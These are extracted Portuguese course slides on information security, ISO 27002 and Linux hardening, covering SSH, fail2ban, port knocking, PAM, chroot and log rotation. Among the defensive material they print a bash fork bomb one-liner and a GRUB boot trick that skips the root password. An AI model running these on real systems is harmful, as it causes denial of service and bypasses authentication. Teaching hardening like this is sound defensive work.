Upload
dobao
View
215
Download
0
Embed Size (px)
Citation preview
Gestão de Redes de Computadores com Software Livre
Análise e Testes de Vulnerabilidade em Redes Corporativas Baseados na Norma ISO 27002
http://www.fag.edu.br/pos-graduacao/62/gestao-de-redes-de-computadores-com-softwares-livres
Jéfer Benedett Dörr http://www.inf.ufpr.br/jbdorr/
● Graduação em Informática pela UNIOESTE - Universidade Estadual do Oeste do Paraná (2006);
● Pós Graduação (Lato Sensu) em Software Livre com ênfase em Redes pela UNIPAN - União PanAmericana de Ensino (2009);
● Mestrado (Stricto Sensu) no Programa de Mestrado em Computação da Universidade Federal do Paraná
LARSIS - Laboratório de Redes e Sistemas Distribuídos
Sócio da SBC de número 31530
Membro IADIS - Internacional Association for Development of the Information Society
https://profjefer.wordpress.com/
Análise e Testes de Vulnerabilidade em Redes Corporativas Baseados na Norma ISO 27002
Gestão de Redes de Computadores com Software Livre
A disciplina tem por objetivo o foco em Segurança Computacional, e propõe soluções de controles com a norma ISO 27002 na sua versão vinculada pela ABNT. O objetivo é exemplificar na prática como buscar a conformidade contida na norma utilizando software livre. Sendo um curso pontual, dentro do contexto computacional, tendo como proposta a utilização de ferramentas FOSS (Free and Open Source Software) combinadas com o poder dos recursos do Sistema Operacional Linux, o que possibilitará ao profissional de TI analisar redes corporativas com ferramentas consagradas do mundo do software livre.
ATENÇÃO:
Todo o conteúdo deste material é meramente didático!Não faça uso indevido.
Ética
Objetivos
● Fornecer ao aluno uma visão geral sobre segurança da informação● Entender a importância da segurança da informação no mundo de hoje● Conhecer as principais ameaças● Compreender a terminologia básica utilizada● Conhecer certificações da área
Cronograma - 08/11/2013
1.1 - Introdução a Segurança da Informação,1.2 - Conceitos de Segurança da Informação,1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,1.4 - Normas e Metodologias de Segurança da Informação,
1.5 - Conformidades com a ABNT NBR ISO/IEC 27002:2005,1.6 - Instalação Personalizada do Sistema Operacional Linux,1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,
Cronograma - 09/11/2013
2.1 - Segurança no Sistema de Arquivos, 2.2 -Segurança no Terminal, 2.3 -Gerenciamento de Privilégios, 2.4 -Utilizando o PAM, 2.5 -Criando o Sistema ChRoot,
2.6 -Registro de Eventos, 2.7 -Criação de Uma Estrutura de Logs Personalizada, 2.8 -Integração do Syslog-NG com MySQL, 2.9 -Limpeza de Logs,
Cronograma - 13/12/2013
3.1-OSSTMM – Open
Source Security Testing
Methodology Manual.
3.2-Anatomia de um
Ataque,
3.3-Engenharia Social,
3.4-Footprint,
3.5-Footprint emSMTP,
3.6-Fingerprint,
3.7-Levantamento de Dados
Através de Port Scanners,
3.8-Técnicas de Varreduras,
3.9-Técnicas Furtivas,
Cronograma - 14/12/2013
4.1-Captura de Informações com Sniffers,4.2-Conceitos Básicos de
Backdoors,
4.3-Enumeração de
Serviços e Informações,
4.4 - Bruteforce,
4.5 - Negação de Serviço,
4.6 - Exploits,
4.7 - Google Hacking,
4.8 - Ferramentas,
4.9 - Contramedidas.
08/11/2013
1.1 - Introdução a Segurança da Informação,1.2 - Conceitos de Segurança da Informação,1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,1.4 - Normas e Metodologias de Segurança da Informação, 1.5 - Conformidades com a ABNT NRB ISO/IEC 27002:2005,1.6 - Instalação Personalizada do Sistema Operacional Linux,1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,
ISO27002
1.1 - Introdução a Segurança da Informação,
O que é segurança?
●Condição ou estado de estar seguro ou protegido.● Capacidade de manter seguro.● Proteção contra a fuga ou escape.● Profissional ou serviço responsável pela guarda e proteção de algo.
o que queremos proteger?
era da informação
Informação
Segurança da Informação
6 barreiras da segurança
Desencorajar Dificultar Discriminar Detectar Deter Diagnosticar
ISO27002
ISO27002
ISO27002
ISO27002
ISO27002
ISO27002
ISO27002
ISO27002
1.2 - Conceitos de Segurança da Informação,
“se você conhece a si mesmo e ao seu inimigo, não precisará temer o resultado de mil batalhas”Sun Tzu
CriptografiaEsteganografiaVPNAnti VírusFirewallChave Pública/PrivadaIDSHoney Pots
1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,
vulnerabilidadeativonormasscamphishingengenharia socialtrojanbackdoor……..
●Ameaça (Threat)Uma ação ou evento que pode comprometer a segurança
● Vulnerabilidade (Vulnerability)Existência de uma fraqueza, que comprometimendo inesperado da segurança
●Ataque (Attack)Tentativa de violar qualquer tipo de segurança
●Exploração (Exploitation)É violar a segurança através de uma vulnerabilidade
1.4 - Normas e Metodologias de Segurança da Informação,
ISO 27001Essa norma aborda os padrões para sistemas de gestão de segurança da informação. Substitui a norma BS 7799-2
ISO 27002Baseada na norma ISO 27001, essa norma trata das boas práticas de segurança da informação, onde indica uma série de possíveis controles dentro de cada contexto da área de segurança. A partir de 2006, tornou-se substituta da normaISO 17799:2005.
Basileia IIÉ uma norma da área financeira, conhecida também como Acordo de Capital de Basileia II. Essa norma fixa-se em três pilares e 25 princípios básicos sobre contabilidade e supervisão bancária. http://www.bis.org/publ/bcbs128.pdf
PCI-DSSA norma Payment Card Industry Data Security Standard, é uma padronização internacional da área de segurança de informação definida pelo Payment Card Industry Security Standards Council. Essa norma foi criada para auxiliar as organizações que processam pagamentos por cartão de crédito na prevenção de fraudes, através de maior controle dos dados e sua exposição.https://pt.pcisecuritystandards.org/_onelink_/pcisecurity/en2pt/minisite/en/docs/pci_dss_v2-0.pdf
ITILÉ um conjunto de boas práticas para gestão, operação e manutenção de serviços de TI, aplicados na infraestrutura. A ITIL busca promover a gestão de TI com foco no cliente no serviço, apresentando um conjunto abrangente de processos e procedimentos gerenciais, organizados em disciplinas, com os quais uma organização pode fazer sua gestão tática e operacional em vista de alcançar o alinhamento estratégico com os negócios.
COBITDo inglês, Control Objectives for Information and related Technology, é um guia de boas práticas, como um framework, voltadas para a gestão de TI. Inclui, em sua estrutura de práticas, um framework, controle de objetivos, mapas de auditoria, ferramentas para a sua implementação e um guia com técnicas de gerenciamento.
SOXA lei Sarbanes-Oxley visa garantir a criação de mecanismos de auditoria e segurança confiáveis nas empresas, incluindo ainda regras para a criação de comitês encarregados de supervisionar suas atividades e operações, de modo a mitigar riscos aos negócios, evitar a ocorrência de fraudes ou assegurar que haja meios de identificá-las quando ocorrem, garantindo a transparência na gestão das empresas.
NIST 800 SeriesSérie de documentos, guias e pesquisas desenvolvidos pelo National Institute of Standards and Technology, voltadas para a área de segurança da informação. Essa série é composta de documentos considerados "Special Publications", os quaisabordam desde segurança na tecnologia Bluetooth, até segurança em servidores.
http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
CERTIFICAÇÕES RECOMENDADAS PARA PROFISSIONAIS DE SIC
Segurança de Redes
CompTIA Security+ CompTIA
ECSA – EC-Council Security Analyst EC-Council
GAWN – GIAC Assessing Wireless Networks
SANS
GCIA – GIAC Certified Intrusion Analyst SANS
GPEN – GIAC Penetration Tester SANS
SSCP – Systems Security Certified Practioner
ISC²
Segurança de Redes/Gestão da
Segurança da Informação
CASP – CompTIA Advanced Security Practitioner
CompTIA
Segurança de Redes/Segurança no Desenvolvimento de
Software
CEH – Certified Ethical Hacker EC-Council
GWAPT – GIAC Web Application Penetration Tester
SANS
LPT – Licensed Penetration Tester EC-Council
Tratamento de Incidentes de Segurança
Computacional
GCIH – GIAC Certified Incident Handler
SANS
Forense Computacional
CHFI – Computer Hacking Forensic Investigator
EC-Council
GCFA – GIAC Certified Forensic Analyst SANS
GCFE – GIAC Certified Forensic Examiner SANS
GREM – GIAC Reverse Engineering Malware
SANS
Segurança no Desenvolvimento de
Software
CSSLP – Certified Secure Software Lifecycle Professional
ISC²
Auditoria e Conformidade
Auditor Lider ISO 27001 RAB ou IRCA
CISA – Certified Information Systems Auditor
ISACA
Gestão/Auditoria/Conformidade
COBIT – Control Objectives for Information and related Technology
ISACA
CRISC – Certified in Risk and Information Systems Control
ISACA
ITIL – Information Technology Infrastructure Library
OGC
Gestão da Segurança
da Informação
CISM – Certified Information Security Manager ISACA
CISSP – Certified Information Systems Security Professional ISC²
CISSP (ISSAP) – Information Systems Security Architecture Professional
ISC²
CISSP (ISSEP) – Information Systems Security Engineering Professional
ISC²
CISSP (ISSMP)- Information Systems Security Management Professional
ISC²
ISFS – Information Security Foundation baseada na ISO27002 EXIN
ISMAS – Information Security Management Advanced baseada na ISO 27002
EXIN
ISMES – Information Security Management Expert baseada na ISO 27002
EXIN
MCSO – Modulo Certified Security Officer Modulo
Gestão de Continuidade de
Negócios
ABCP – Associate Business Continuity Professional
DRI International
CBCI – Business Continuity Institute Certificate BCI
AMBCI – Associate Member of the Business Continuity Institute
BCI
SBCI – Specialist Member of the Business Continuity Institute
BCI
CBCP – Certified Business Continuity Professional
DRI International
CFCP – Certified Functional Continuity Professional
DRI International
MBCP (Master Business Continuity Professional)
DRI International
1.5 - Conformidades com a ABNT NRB ISO/IEC 27002:2005,
ISO27002
ISO27002
ISO27002
1.6 - Instalação Personalizada do Sistema Operacional Linux,
Instalou ta seguro?
Segurança vs ComodidadeHardeningPolíticas de SegurançaRegistro de EventosMonitoramentoAcesso físicoNormas
ISO27002
1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,
Hardening é um processo de mapeamento de ameaças, blindagem de
sistemas, mitigação de riscos executando atividades corretivas com foco na
infra-estrutura a fim de evitar possíveis tentativas ataque.
Várias técnicas podem ser utilizadas, desde o kernel, controle de acesso de
usuários, atualizações de segurança e muito mais.
HARDENING
•Remover programas desnecessários•Ajustar permissões especiais•Aplicar segurança no sistema de arquivos•Gerenciar acessos locais e remotos•Ajustar privilégios de usuários•Procurar por senhas fracas
Exemplo: ssh
Alterando a Porta padrão
# vim /etc/ssh/sshd_conf
Port 5849
# /etc/init.d/ssh restart
Bloquear acesso do Root no ssh
$ sudo vi /etc/ssh/sshd_config
"#PermitRootLogin no"
$ sudo /etc/init.d/sshd restart
Fail2ban# apt-get install fail2ban
# cd /etc/fail2ban# cp jail.conf jail.local
ignoreip = 127.0.0.1 10.8.1.0/24bantime = 1800maxretry = 3
# /etc/init.d/fail2ban restart
O arquivo de log do fail2ban
é: /var/log/fail2ban.log
Verifique:
# tail -f /var/log/auth.log | grep
Failed
Port Knock
# aptitude install knockd
/etc/knockd.conf
[options] logfile = /var/log/knockd.log
[openSSH] sequence = 7000,8000,9000 seq_timeout = 5 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
[closeSSH] sequence = 9000,8000,7000 seq_timeout = 5 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
Editar /etc/default/knockd e deixar as duas linhas seguintes:
START_KNOCKD=1KNOCKD_OPTS="-i eth0"
Isto define a placa que vai aceitar conexão e manter sempre o knock rodando.
# /etc/init.d/knockd restart
Se não estiver fechada, então feche a porta SSH do firewall pra testar se o serviço funciona. ; )
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -LDROP tcp -- anywhere anywhere tcp dpt:ssh
Configuração do cliente
Instale o mesmo utilitário do servidor:
Knockd:
# aptitude install knockd
Agora não precisa de nenhuma configuração adicional, apenas bater nas portas e já era.
# knock 192.168.0.155 7000:tcp 8000:tcp 9000:tcp
Acompanhe o log no servidor e veja as portas sendo abertas.
# tail -f /var/log/knockd.log 192.168.0.155: openSSH: Stage 1192.168.0.155: openSSH: Stage 2192.168.0.155: openSSH: Stage 3192.168.0.155: openSSH: OPEN SESAMEopenSSH: running command: /sbin/iptables -A INPUT -s 192.168.0.144 -p tcp --dport 22 -j ACCEPT
Agora se autentique normalmente.
$ ssh [email protected]
Pra fechar a porta use a mesma síntese usada pra abrir a porta do SSH, só que seguindo as sequência de portas de fechamento. Lembrete: você deve executar o comando do cliente e não da conexão remota. Mais uma coisa, se estiver logado a conexão se fecha.
$ knock 192.168.0.155 9000:tcp 8000:tcp 7000:tcp
Exemplo: TTL ping
Valores padrão
■ Roteadores Ciclades = 30
■ Linux = 64
■ Windows = 128
■ Cisco = 255
■ Linux + Iptables = 255
Por exemplo, quando damos um "ping www.uol.com.br" ele responde o valor 57. O valor mais próximo desse valor de TTL é o 64, que vem de Linux. Se considerarmos que o pacote deu 7 hops até chegar ao destino (passou por 7 roteadores) então temos o cálculo:
64-7 = 57
Para sabermos o valor de TTL do sistema operacional, podemos dar um cat no arquivo:
# cat /proc/sys/net/ipv4/ip_default_ttl64
# vim /etc/sysctl.conf
E no final dele, acrescentar uma linha com o novo valor de TTL que você definir:
net.ipv4.ip_default_ttl = 64
Depois é só validar com o comando:
# sysctl -p /etc/sysctl.conf
09/11/2013
2.1 - Segurança no Sistema de Arquivos, 2.2 -Segurança no Terminal, 2.3 -Gerenciamento de Privilégios, 2.4 -Utilizando o PAM, 2.5 -Criando o Sistema ChRoot, 2.6 -Registro de Eventos, 2.7 -Criação de Uma Estrutura de Logs Personalizada, 2.8 -Integração do Syslog-NG com MySQL, 2.9 -Limpeza de Logs,
ISO27002
2.1 - Segurança no Sistema de Arquivos,
Particionamentobkpsetuidsetgidlogrotatecriptografiaquotaspermissões
Particionamento
Dado um disco rígido de 40 GB, cria-se três partições primárias. A primeira com 64 MB, a segunda com 15360 MB e a terceira com 4544 MB. Nos 20992 MB restantes, cria-se uma partição estendida, de forma com que ela ocupe todo o espaço. Nesta partição estendida, criam-se cinco partições lógicas. A primeira com 10240 MB, a segunda com 7168 MB, a terceira com 2048 MB, a quarta com 1024 MB e a quinta com 512 MB. Desta forma o disco será totalmente preenchido.
Na primeira partição primária (de 64 MB), será montado o diretório /boot.Desta forma os arquivos de carregamento do sistema ficam isolados e mais seguros. A segunda partição primária (15360 MB) fica reservada para o diretório /home, isolando-se assim os arquivos dos usuários e limitando sua utilização do disco. Na terceira partição primária (4544 MB) será montado o diretório raíz (/), com os arquivos de inicialização do sistema. Na primeira e na segunda partições lógicas (10240 MB e 7168 MB) serão armazenados, respectivamente, os diretórios /usr e /opt. Isto limita o espaço utilizado pelos programas que serão instalados no sistema. Na terceira e na quarta partições lógicas (2048 MB e 1024 MB) residirão os diretórios /var e /tmp. Por fim, a quinta partição lógica (512 MB) ficará reservada para área de troca.
Problema de colocarmos nosuid e noexec nas partições.
SUID
SUID (Set User ID): O SUID quando aplicado faz com que o programa execute com o ID do dono
e não com o ID do utilizador.
Aplica-se o SUID num ficheiro utilizando: $ chmod u+s ficheirinho
Para verificarmos as permissões: $ ls –la ficheirinho
-rwsrw-r-- 1 jfrjfr Out 30 15:56 arquivo
Caso o SUID esteja aplicado mas o arquivo não é executável, em vez de s (minúsculo) aparece S
(maiúsculo)
-rwSrw-r-- 1 jfr jfr Out 30 15:56arquivo
# vim noexec.sh# chmod 700 noexec.sh# ./noexec.sh
#!/bin/bash
case $1 instart)mount -o remount,rw,noexec /varmount -o remount,rw,noexec /tmpmountecho "Partições SEM permissão de execução";;stop)
mount -o remount,rw,exec /varmount -o remount,rw,exec /tmpmountecho "Partições COM permissão de execucao”;;*) echo "erro use $0 {start|stop}"exit 0;;esacexit 1
ISO27002
Evitar acesso direto do root
sudoers
# sudoers file.## This file MUST be edited with the 'visudo' command as root.## See the sudoers man page for the details on how to write a sudoers file.# # Host alias specification # User alias specification # Cmnd alias specification # Defaults specification # User privilege specificationroot ALL=(ALL) ALL
# Uncomment to allow people in group wheel to run all commands# %wheel ALL=(ALL) ALL # Same thing without a password# %wheel ALL=(ALL) NOPASSWD: ALL # Samples# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom# %users localhost=/sbin/shutdown -h nowjfr ALL=NOPASSWD:/sbin/ifup ,/sbin/ifdown
limitar uso do shell# cat /etc/passwd
# vim /root/auditoria/invalidos.sh
#!/bin/bashfor USER in $(cat /etc/passwd| cut -f 1 -d ``:'' | grep -v root | grep -v toor |grep -v teste)dousermod -s /bin/false $USERdone
limitar terminais
# vim /etc/securetty
tty1# tty2# tty3# tty4# tty5# tty6
Fork Bomb
:(){ :|:& };:
Limitar processos /etc/profile acrescentar no fim desse arquivo o seguinte código:
if [[ "$USER" == "root" ]]; then ulimit -S -u 512else ulimit -S -u 256fi
$ source /etc/profile
2.2 - Segurança no Terminal,
Cenário
Imagine um administrador logado como root em um dos servidores executando
uma tarefa administrativa. Logo em seguida é solicitado sua presença em outro
setor, e seu terminal ficou logado como root. Um funcionário mal intencionado
pode aproveitar dessa situação e e danificar o sistema, ou roubar informações de
acesso somente do root. Para REDUZIR, isso mesmo reduzir essa possibilidade de
ataque será utilizada a variável TMOUT. Mas por que apenas reduzir? Deve-se
atentar para as politicas de acesso físico à área dos servidores. Bloqueio de
interfaces usb, desativar funções do kernel como ctrl+alt+del.
export TMOUT=180 no terminal
ou
Adicione em /etc/profile:
readonly TMOUT=600expor TMOUT
Atualizar o profile para que entre em vigor as novas alterações sem precisar efetuar login novamente:
# source /etc/profile
Desabilitando Ctrl + Alt + Del
Abra e edite o seguinte arquivo:
# vim /etc/init/control-alt-delete.conf
Comente a linha abaixo:
#exec shutdown -r now "Control-Alt-Delete pressed"
Bloquear os terminais manualmente (VLOCK)Caso você queira bloquear os terminais manualmente, existe um programa chamado Vlock. Ele bloqueia o(s) terminal(is) e só libera quando for informada a senha do usuário que bloqueou o terminal. Primeiro instale o programa:
# aptitude install vlock
Para bloquear o terminal em que está logado, use o comando:
# vlock -a
grubRecuperar senha: kernel /boot/vmlinuz-2.6.xx-x-xxx root=/dev/xxx ro root=/bin/bash
Colocar senha no grub: grub2-mkpasswd-pbkdf2
vi /etc/grub.d/00_header
grub-update
ou
# (echo "senha" ; echo "senha") | grub-mkpasswd-pbkdf2 >> 00_header
2.3 - Gerenciamento de Privilégios,
setuidsetgidchownchgrpchmodsudoer
http://www.guiafoca.org/cgs/guia/iniciante/ch-perm.html
http://www.infowester.com/usuarioslinux.php
adduseraddgrouppasswd
Octal1 - Permissão de execução (x)2 - Permissão de gravação (w).4 - Permissão de leitura (r).
chage / usermod1. Forçar o usuário a trocar a sua senha no primeiro login:# chage -d 0 usuário
2. Definir a data de expiração da senha:# chage -E 2010-04-30 usuário
3. Definir o número mínimo de dias entre trocas de senhas:# chage -m 180 usuário
4. Definir o número de dias em que uma senha é válida:# chage -M 180 usuário
Com o -W ele informa ao user que vai expirar
Checando as políticas de validade de senhas de um determinado usuário:
# chage -l usuário
# chage -M 50 -m 7 -W 7 linustorvalds
Este comando aplica a política de senha para o usuário “linustorvalds” onde:
-M 50 -> Define que a senha será válida por um máximo de 50 dias, quando a mesma deverá ser
trocada.
-m 7 -> Define o número mínimo de dias em que o usuário poderá trocar sua senha antes do
período especificado para expiração. Caso o usuário possa trocar a qualquer momento ou dia, o
valor deverá ser 0.
-W 7 -> Número de dias antes de expirar nos quais o usuário vai receber alertas informando que
sua senha irá expirar.
ISO27002
2.4 - Utilizando o PAM,
limitações aos usuários no sistema.: pam_limits,
para limites dentro de uma sessão; e pam_time para restrição de logins em certos períodos.
Em sistemas baseados em Red Hat EL / Fedora, este arquivo será o /etc/pam.d/system-auth, enquanto que em sistemas baseados em Debian, são 4 arquivos: common-account,common-auth, common-password e common-session, todos dentro do diretório /etc/pam.d.
session required /lib/security/pam_limits.so
account requisite /lib/security/pam_time.so
http://www.vivaolinux.com.br/artigo/Uma-introducao-ao-LinuxPAM
http://www.ibm.com/developerworks/br/library/l-pam/
http://www.devin.com.br/limitando-usuarios-com-o-pam/
# vim /etc/pam.d/login
Habilitado o pam_time:
sintaxe das linhas é: serviços;ttys;usuários;horas
● serviços significa o nome do serviço PAM para se restringido. Exemplos: samba, su, login.
Use * para restringir para tudo.
● ttys significa em quais terminais a restrição será feita. Exemplo: terminais locais seriam
tty*. Use * para restringir para tudo.
● usuários significa uma lista dos usuários para a restrição. Múltiplos usuários podem ser
feitos com: “fulano|cicrano|beltrano” que significa fulano OU cicrano OU beltrano. O *
também pode ser utilizado para restringir a todos.
● horas é a faixa de horas e datas para a restrição. Melhor entendendido nos exemplos.
Para aprender melhor, vamos aos exemplos:
sshd:*:teste:Mo2100-2200
Na linha acima, o usuário teste só poderá acessar o sshd das 21:00 até as 22:00 na
Segunda-Feira.
A linha: sshd:*:teste:!Mo2100-2200
O usuário teste poderá acessar o sshd toda hora, exceto Segunda-Feira das 21:00
até as 22:00. A exclamação inverteu totalmente o caso.
No campo da faixa de tempo, podemos usar as abreviações:
● Su: Domingo
● Mo: Segunda
● Tu: Terça
● We: Quarta
● Th: Quinta
● Fr: Sexta
● Sa: Sábado
● Wk: Finais de semana (Sábado e Domingo)
● Wd: Dias da semana (Segunda à Sexta)
● Al: Todos os dias
Mais exemplos:
sshd:*:hugo:Wd0800-1800
O usuário hugo só poderá acessar o sshd em horário comercial, ou seja, de Segunda à
Sexta das 08:00 da manhã até as 18:00.
*:*:silvia|lisa:!Al1200-1800
As usuárias silvia e lisa não vão poder acessar nada durante todos os dias, das 12:00 às
18:00.
samba:*:guest:We1200-1201
O usuário guest só vai poder acessar o serviço PAM samba na quarta-feira das 12:00 as
12:01
PAM limitando recursos/etc/security/limits.conf
usuario/grupo tipo de limite recurso valor do limite
● memlock – Tamanho de memória alocada que os programas podem usar (em KB). Também: ulimit -l.
● nofiles – Número máximo de arquivos abertos ao mesmo tempo. Também: ulimit -n.
● maxlogins – Número máximo de logins para esse usuário
● nice – Número máximo de prioridade que o usuário pode setar, entre -20 (máxima prioridade) e 19
(mínima prioridade). Também: ulimit -e.
● stack – Valor máximo de um processo executado (em KB). Também: ulimit -s.
● cpu – Tempo máximo em minutos de uso da CPU. Também: ulimit -t.
● nproc – Número máximo de processos executados ao mesmo tempo. Também: ulimit -u.
teste hard fsize 100
O usuário teste não pode criar arquivos maiores que 100KB (fsize 100). Testando:
$ dd if=/dev/zero of=arquivo bs=1024 count=100
100+0 records in
100+0 records out
102400 bytes (102 kB) copied, 0.0011873 s, 86.2 MB/s
Ele deixou criar um arquivo de 100KB. Agora vou criar um de 105!
$ dd if=/dev/zero of=arquivo bs=1024 count=105
File size limit exceeded
teste hard nproc 5
O usuário teste só poderá executar 5 processos. Tenha em mente que os processos do bash por
exemplo também contam. Então colocar 1 não é uma boa idéia assim se seu usuário tiver
executando uma shell interativa.
@teste hard maxlogins 1
Todo mundo do grupo teste só pode se logar uma vez no sistema.
dumau hard memlock 20000
O usuário dumau só pode usar 20MB de memória no sistema.
@users hard priority 19
Todos os usuários do grupo users vão executar seus processos automaticamente com prioridade
mais baixa do sistema.
2.5 -Criando o Sistema ChRoot,
# aptitude install debootstrap
# mkdir /var/fag-chroot
# debootstrap squeeze /var/fagl-chroot
# mount --bind /proc/ /var/fag-chroot/proc
# chroot /var/fagl-chroot
# pico /root/.bashrc
PS1=' fag-chroot:\w\$ '
# aptitude update
http://www.vivaolinux.com.br/artigo/Instalando-e-configurando-um-servidor-DNS-(Bind+CHROOT)-no-Slackware?pagina=1
https://wiki.debian.org/pt_BR/Debootstrap
# passwd root
# pico /etc/fstab
Adicione a seguinte linha no arquivo:
devpts /dev/pts devpts defaults 0 0
# mount -a
# mount
Para verificar se ponto foi montado. Deverá aparecer o seguinte conteúdo: devpts on /dev/pts type devpts (rw)
Se você possui um servidor SSH no seu sistema original, é preciso dar um stop nele, pois como os processos são vinculados, não pode ter dois servidores do mesmo serviço rodando. Antes de instalarmos o SSH eno chroot, saia do mesmo e pare o SSH no sistema original:
# /etc/init.d/ssh stop
Depois entre no chroot novamente.
Vamos instalar o pacote SSH em nosso chroot, para que ele possa ser acessado remotamente:
# aptitude install ssh
Depois que o SSH estiver instalado, dê o comando abaixo e verifique se o SSH está rodando:
# ps aux | grep ssh
ISO27002
ISO27002
ISO27002
2.6 -Registro de Eventos,
http://www.vivaolinux.com.br/artigo/SysLog-Sistema-de-log-do-Linux
radiografia completa do sistema
O syslog tem duas funções:■ Liberar os programadores de gerar seu arquivos de log (antes do syslog tinha
que ser feito por cada programador, isso era terrível);
■ Deixar o administrador do sistema no controle dos logs.
O syslog é constituído de 3 partes:■ O daemon syslogd;
■ Openlog, que são rotinas e bibliotecas chamadas para ter acesso ao syslog;
■ Logger, que é um comando shell para o usuário enviar entradas para o syslog.
2.7 -Criação de Uma Estrutura de Logs Personalizada,
2.8 -Integração do Syslog-NG com MySQL,
http://bjuniow.wordpress.com/2009/08/20/instalando-syslog-ng-com-mysql/
http://anton.dollmaier.name/2013/05/10/syslog-host-mit-syslog-ng-und-mysql/
http://www.douglas.wiki.br/doku.php?id=instalacao_e_configuracao_do_syslog-ng_com_mysql_no_debian_squeeze
http://www.vivaolinux.com.br/artigo/Servidor-de-log-no-Debian-com-Syslognghttp://vermeer.org/docs/1
2.9 -Limpeza de Logs,
logrotate
/etc/logrotate.conf
Alguns scripts especiais são incluídos na pasta /etc/logrotate.d
http://www.vivaolinux.com.br/artigo/Logrotate-uma-importante-ferramenta-de-administracao-dos-logs-do-sistema
http://linuxcommand.org/man_pages/logrotate8.html
rotação. Pode ser diária(daily), semanal(weekly), mensal(monthly).
Utilizar o logrotate é fundamental porque os logs crescem infinitamente. Configurar o logrotate.conf para atender da melhor forma possível as suas necessidades também é fundamental.
Auxílio do cron
*cronO crontab tem o seguinte formato:
[minutos] [horas] [dias do mês] [mês] [dias da semana] [usuário] [comando]
O preenchimento de cada campo é feito da seguinte maneira:■ Minutos: informe números de 0 a 59;
■ Horas: informe números de 0 a 23;
■ Dias do mês: informe números de 1 a 31;
■ Mês: informe números de 1 a 12;
■ Dias da semana: informe números de 0 a 7;
■ Usuário: é o usuário que vai executar o comando (não é necessário especificá-lo se
o arquivo do próprio usuário for usado);
■ Comando: a tarefa que deve ser executada
$ crontab -e
# tarefa 130 22 2,10 * * echo "Go n Go"
#[minutos] [horas] [dias do mês] [mês] [dias da semana] [usuário] [comando]
ls /etc/cron.daily/ -> script do log rotate
Executando manualmente: $logrotate /etc/logrotate.conf
/var/log/apache2/*.log { weekly missingok rotate 52 compress delaycompress notifempty create 640 root adm sharedscripts postrotate /etc/init.d/apache2 reload > /dev/null endscript }
Exemplo Apache:
Analisando algumas diretivas de configuração disponíveis no logrotate:
● Período em que os arquivos de log devem ser rotacionados: Daily, Weekly e
Mounthly
● rotate 35 - indica o número de arquivos de log rotacionados a serem
mantidos, o arquivo rotacionado mais velho sempre é substituído.
● compress - comprimir os arquivos de log rotacionados (padrão é o gzip).
● create - imediatamente após rotacionar um arquivo de log o arquivo de log é
recriado com o mesmo nome e com as permissões especificadas. Exemplo de
sintaxe: create 640 root adm
● delaycompress - comprimir o arquivo de log rotacionado apenas no
próximo rotacionamento. Útil quando um aplicativo continua escrevendo um
arquivo de log por um determinado tempo após o rotacionamento. Esta
diretiva deve ser utilizada de forma concomitante com a diretiva compress
● dateext - inserir a data em que os arquivos foram rotacionado como
parte do nome do arquivo de log rotacionado. Um exemplo de arquivo
rotacionado gerado com a data no nome: /var/log/syslog-20131210.gz
● size 5M - tamanho que o arquivo de log deve ter para ser rotacionado, o
"M" indica megabytes, também pode ser utilizado "k" que indica kilobytes.
● olddir - diretório para onde os arquivos de log rotacionados devem ser
movidos. Exemplo de sintaxe: olddir /var/log/logs_antigos
● postrotate/endscript - os comandos definidos entre estas duas diretivas
são executadas logo após o arquivo de log ser rotacionado.
● prerotate/endscript - os comandos definidos entre estas duas diretivas
são executadas antes o arquivo de log ser rotacionado.
/etc/logrotate.conf
# See "man logrotate" for details # período em que os arquivos de log devem ser rotacionados daily rotate 35 compress dateext size 5M copytruncate notifempty nomail noolddir
# administrador ou aplicativos podem inserir seus arquivos de configuração específicos de rotacionamento de log neste diretório include /etc/logrotate.d # administrador ou aplicativos podem inserir seus arquivos de configuração específicos de rotacionamento de log neste diretório include /etc/logrotate.d
# também podem ser inseridas configurações de rotacionamento de logs diretamente neste arquivo. # para isso basta definir o nome do arquivo de log a ser rotacionado e suas configurações específicas que sobrescrevem as gerais definidas anteriormente. /var/log/wtmp { monthly create 0664 root utmp rotate 1 }
# é preciso especificar os arquivos a serem rotacinados pelo logrotate /var/log/mail.info /var/log/mail.log /var/log/mail.err { rotate 31 } # outra forma de especificar os arquivos a serem rotacionados pelo logrotate /var/log/*log { rotate 31 }
NTP http://www.ntp.br/NTP/
a.st1.ntp.br b.st1.ntp.br c.st1.ntp.br d.st1.ntp.br
a.ntp.br b.ntp.br c.ntp.br gps.ntp.br
Manter os dispositivos nas redes e na Internet com a hora certa é muito importante. Isso vale para servidores, roteadores, notebooks e desktops! Muitas aplicações dependem disso para funcionar bem. Incidentes de segurança e até crimes cibernéticos só podem ser investigados se os logs dos dispositivos envolvidos estiverem em sincronismo.
Por um acordo entre o ON (Observatório Nacional), que é responsável pela Hora Legal Brasileira, e o NIC.br (Núcleo de Informação e Coordenação do Ponto BR), a hora certa no Brasil é distribuída gratuitamente via Internet por meio do NTP.br. Saiba mais navegando pelo sítio, e utilize livremente os servidores disponíveis:
https://pt.wikipedia.org/wiki/Network_Time_Protocol
# apt-get update; apt-get install ntp
# nano /etc/ntp.conf
# "memoria" para o escorregamento de frequencia do micro # pode ser necessario criar esse arquivo manualmente com # o comando touch ntp.drift driftfile /etc/ntp.drift
# estatisticas do ntp que permitem verificar o historico # de funcionamento e gerar graficos statsdir /var/log/ntpstats/ statistics loopstats peerstats clockstats filegen loopstats file loopstats type day enable filegen peerstats file peerstats type day enable filegen clockstats file clockstats type day enable
# servidores publicos do projeto ntp.br server a.st1.ntp.br iburst server b.st1.ntp.br iburst server c.st1.ntp.br iburst server d.st1.ntp.br iburst server gps.ntp.br iburst server a.ntp.br iburst server b.ntp.br iburst server c.ntp.br iburst # outros servidores # server outro-servidor.dominio.br iburst # configuracoes de restricao de acesso restrict default kod notrap nomodify nopeer restrict -6 default kod notrap nomodify nopeer
Explicando:■ driftfile :: especifica o arquivo que armazenará a frequência de
